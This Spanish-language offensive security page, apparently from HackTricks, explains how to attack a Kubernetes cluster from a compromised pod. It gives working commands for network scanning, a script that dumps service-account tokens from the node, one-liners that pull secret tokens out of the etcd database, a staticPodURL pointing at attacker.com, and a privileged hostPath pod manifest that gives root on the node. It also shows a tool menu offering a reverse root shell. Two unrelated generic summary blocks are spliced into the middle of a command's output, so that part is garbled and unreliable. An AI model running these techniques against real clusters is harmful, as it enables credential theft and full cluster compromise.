Attacking Kubernetes from inside a Pod

Apoya a HackTricks

Escape del Pod

Si tienes suerte, podrías lograr escapar al nodo:

Escapando del pod

Para intentar escapar de los pods, primero podrías necesitar elevar privilegios, algunas técnicas para hacerlo:

Puedes revisar estos escape de docker para intentar escapar de un pod comprometido:

Abuso de Privilegios en Kubernetes

Como se explica en la sección sobre enumeración de kubernetes:

Kubernetes Enumeration

Por lo general, los pods se ejecutan con un token de cuenta de servicio en su interior. Esta cuenta de servicio puede tener algunos privilegios asociados que podrías abusar para moverte a otros pods o incluso para escapar a los nodos configurados dentro del clúster. Aprende cómo hacerlo en:

Abusing Roles/ClusterRoles in Kubernetes

Abuso de Privilegios en la Nube

Si el pod se ejecuta dentro de un entorno en la nube, podrías ser capaz de filtrar un token desde el punto de metadatos y elevar privilegios usándolo.

Buscar servicios de red vulnerables

Dentro del entorno de Kubernetes, si no puedes elevar privilegios abusando de los privilegios actuales de los pods y no puedes escapar del contenedor, deberías buscar servicios potencialmente vulnerables.

Servicios

Para este propósito, puedes intentar obtener todos los servicios del entorno de kubernetes:

kubectl get svc --all-namespaces

Por defecto, Kubernetes utiliza un esquema de red plano, lo que significa que cualquier pod/servicio dentro del clúster puede comunicarse con otros. Los espacios de nombres dentro del clúster no tienen restricciones de seguridad de red por defecto. Cualquiera en el espacio de nombres puede comunicarse con otros espacios de nombres.

Escaneo

El siguiente script Bash (tomado de un taller de Kubernetes) instalará y escaneará los rangos de IP del clúster de Kubernetes:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Echa un vistazo a la siguiente página para aprender cómo podrías atacar servicios específicos de Kubernetes para comprometer otros pods/todo el entorno:

Pentesting Kubernetes Services

Sniffing

En caso de que el pod comprometido esté ejecutando algún servicio sensible donde otros pods necesiten autenticarse, podrías obtener las credenciales enviadas desde los otros pods espiando las comunicaciones locales.

Suplantación de red

Por defecto, técnicas como el suplantación ARP (y gracias a eso, Suplantación de DNS) funcionan en la red de Kubernetes. Luego, dentro de un pod, si tienes la capacidad NET_RAW (que está ahí por defecto), podrás enviar paquetes de red personalizados y realizar ataques de MitM a través de la Suplantación ARP a todos los pods que se ejecutan en el mismo nodo. Además, si el pod malicioso se está ejecutando en el mismo nodo que el Servidor DNS, podrás realizar un ataque de Suplantación de DNS a todos los pods en el clúster.

Kubernetes Network Attacks

DoS en el nodo

No hay especificación de recursos en los manifiestos de Kubernetes y no se aplican límites para los contenedores. Como atacante, podemos consumir todos los recursos donde se esté ejecutando el pod/despliegue y privar de recursos a otros y causar un DoS en el entorno.

Esto se puede hacer con una herramienta como stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Puedes ver la diferencia mientras se ejecuta stress-ng y después.

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Post-Explotación en el Nodo

Si lograste escapar del contenedor hay algunas cosas interesantes que encontrarás en el nodo:

  • El proceso de Ejecución de Contenedores (Docker)

  • Más pods/contenedores ejecutándose en el nodo que puedes aprovechar como este (más tokens)

  • Todo el sistema de archivos y el SO en general

  • El servicio Kube-Proxy escuchando

  • El servicio Kubelet escuchando. Verifica los archivos de configuración:

    • Directorio: /var/lib/kubelet/

    • /var/lib/kubelet/kubeconfig

    • /var/lib/kubelet/kubelet.conf

    • /var/lib/kubelet/config.yaml

    • /var/lib/kubelet/kubeadm-flags.env

    • /etc/kubernetes/kubelet-kubeconfig

  • Otros archivos comunes de Kubernetes:

    • $HOME/.kube/config - Configuración de Usuario

    • /etc/kubernetes/kubelet.conf- Configuración Regular

    • /etc/kubernetes/bootstrap-kubelet.conf - Configuración de Inicio

    • /etc/kubernetes/manifests/etcd.yaml - Configuración de etcd

    • /etc/kubernetes/pki - Clave de Kubernetes

Encontrar kubeconfig del nodo

Si no puedes encontrar el archivo kubeconfig en alguna de las rutas comentadas anteriormente, verifica el argumento --kubeconfig del proceso kubelet:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Robar Secretos

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

El script can-they.sh obtendrá automáticamente los tokens de otros pods y verificará si tienen los permisos que estás buscando (en lugar de que los busques uno por uno):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

DaemonSets Privilegiados

Un DaemonSet es un pod que se ejecutará en todos los nodos del clúster. Por lo tanto, si un DaemonSet está configurado con una cuenta de servicio privilegiada, en TODOS los nodos podrás encontrar el token de esa cuenta de servicio privilegiada que podrías abusar.

La explotación es la misma que en la sección anterior, pero ahora no dependes de la suerte.

Pivotar hacia la Nube

Si el clúster está gestionado por un servicio en la nube, generalmente el Nodo tendrá un acceso diferente al endpoint de metadatos que el Pod. Por lo tanto, intenta acceder al endpoint de metadatos desde el nodo (o desde un pod con hostNetwork a True):

Kubernetes Pivoting to Clouds

Robar etcd

Si puedes especificar el nombre del nodo del Nodo que ejecutará el contenedor, obtén una shell dentro de un nodo de plano de control y obtén la base de datos etcd:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

Los nodos de control-plane tienen el rol de master y en clústeres administrados en la nube no podrás ejecutar nada en ellos.

Leer secretos desde etcd

Si puedes ejecutar tu pod en un nodo de control-plane utilizando el selector nodeName en la especificación del pod, podrías tener acceso fácil a la base de datos etcd, la cual contiene toda la configuración del clúster, incluidos todos los secretos.

A continuación se muestra una forma rápida y sucia de obtener secretos de etcd si se está ejecutando en el nodo de control-plane en el que te encuentras. Si deseas una solución más elegante que inicie un pod con la utilidad del cliente etcd llamada etcdctl y utilice las credenciales del nodo de control-plane para conectarse a etcd donde sea que se esté ejecutando, consulta este ejemplo de manifiesto de @mauilion.

Verifica si etcd se está ejecutando en el nodo de control-plane y dónde se encuentra la base de datos (esto es en un clúster creado con kubeadm)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
## Attacking Kubernetes from Inside a Pod

### Introduction

When an attacker gains access to a Kubernetes pod, either through a compromised container or by exploiting a vulnerability, they can perform various malicious activities within the cluster. This section explores some common techniques attackers use to escalate privileges and move laterally within a Kubernetes cluster.

### Escalating Privileges

#### 1. Accessing the Kubernetes API

One of the first things an attacker might do is attempt to access the Kubernetes API from within a compromised pod. By querying the API server, the attacker can gather valuable information about the cluster, such as other pods, services, and secrets.

#### 2. Exploiting Service Accounts

Service accounts are used by pods to authenticate with the Kubernetes API. If an attacker can compromise a pod with elevated privileges, they may be able to abuse the associated service account to perform malicious actions within the cluster.

### Moving Laterally

#### 1. Pod Hopping

Once inside a pod, an attacker can attempt to move laterally by compromising other pods within the same cluster. This can be achieved by exploiting misconfigurations or vulnerabilities in the cluster's network policies.

#### 2. Privilege Escalation

By moving laterally and compromising pods with higher privileges, an attacker can escalate their privileges within the cluster. This can allow them to access sensitive data or perform actions restricted to privileged pods.

### Conclusion

Securing Kubernetes clusters requires not only protecting the external attack surface but also monitoring and securing the internal environment to prevent attackers from moving laterally and escalating privileges within the cluster.
data-dir=/var/lib/etcd

Ver los datos en la base de datos de etcd:

strings /var/lib/etcd/member/snap/db | less

Extraer los tokens de la base de datos y mostrar el nombre de la cuenta de servicio

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Mismo comando, pero con algunos greps para devolver solo el token predeterminado en el espacio de nombres kube-system

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Atacando Kubernetes desde dentro de un pod

Algunas técnicas que un atacante puede utilizar una vez que ha comprometido un pod en un clúster de Kubernetes incluyen:

1. **Escalada de privilegios**: Intentar obtener permisos más altos dentro del clúster.
2. **Movimiento lateral**: Moverse de un pod comprometido a otros pods dentro del clúster.
3. **Exfiltración de datos**: Robar información confidencial desde dentro del clúster.
4. **Ataques de denegación de servicio (DoS)**: Sobrecargar recursos para interrumpir el funcionamiento normal del clúster.

Es importante implementar medidas de seguridad sólidas para proteger los pods y el clúster de posibles ataques internos.
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Persistencia de Pods Estáticos/Reflejados

Los Pods Estáticos son gestionados directamente por el demonio kubelet en un nodo específico, sin que el servidor API los observe. A diferencia de los Pods gestionados por el plano de control (por ejemplo, un Despliegue); en su lugar, el kubelet observa cada Pod estático (y lo reinicia si falla).

Por lo tanto, los Pods estáticos siempre están vinculados a un Kubelet en un nodo específico.

El kubelet intenta automáticamente crear un Pod espejo en el servidor API de Kubernetes para cada Pod estático. Esto significa que los Pods en ejecución en un nodo son visibles en el servidor API, pero no se pueden controlar desde allí. Los nombres de los Pods tendrán un sufijo con el nombre del host del nodo con un guion delante.

La spec de un Pod estático no puede hacer referencia a otros objetos de la API (por ejemplo, ServiceAccount, ConfigMap, Secret, etc. Por lo tanto, no puedes abusar de este comportamiento para lanzar un pod con una ServiceAccount arbitraria en el nodo actual para comprometer el clúster. Pero podrías usar esto para ejecutar pods en diferentes espacios de nombres (en caso de que sea útil por alguna razón).

Si estás dentro del host del nodo, puedes hacer que cree un pod estático dentro de sí mismo. Esto es bastante útil porque podría permitirte crear un pod en un espacio de nombres diferente como kube-system.

Para crear un pod estático, la documentación es de gran ayuda. Básicamente necesitas 2 cosas:

  • Configurar el parámetro --pod-manifest-path=/etc/kubernetes/manifests en el servicio kubelet, o en la configuración kubelet (staticPodPath) y reiniciar el servicio

  • Crear la definición en el archivo de definición del pod en /etc/kubernetes/manifests

Otra forma más sigilosa sería:

  • Modificar el parámetro staticPodURL del archivo de configuración de kubelet y establecer algo como staticPodURL: http://attacker.com:8765/pod.yaml. Esto hará que el proceso kubelet cree un pod estático obteniendo la configuración desde la URL indicada.

Ejemplo de configuración del pod para crear un pod con privilegios en kube-system tomado de aquí:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Eliminar pods + nodos no programables

Si un atacante ha comprometido un nodo y puede eliminar pods de otros nodos y hacer que otros nodos no puedan ejecutar pods, los pods se volverán a ejecutar en el nodo comprometido y podrá robar los tokens que se ejecutan en ellos. Para más información sigue estos enlaces.

Herramientas Automáticas

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
Apoya a HackTricks

Last updated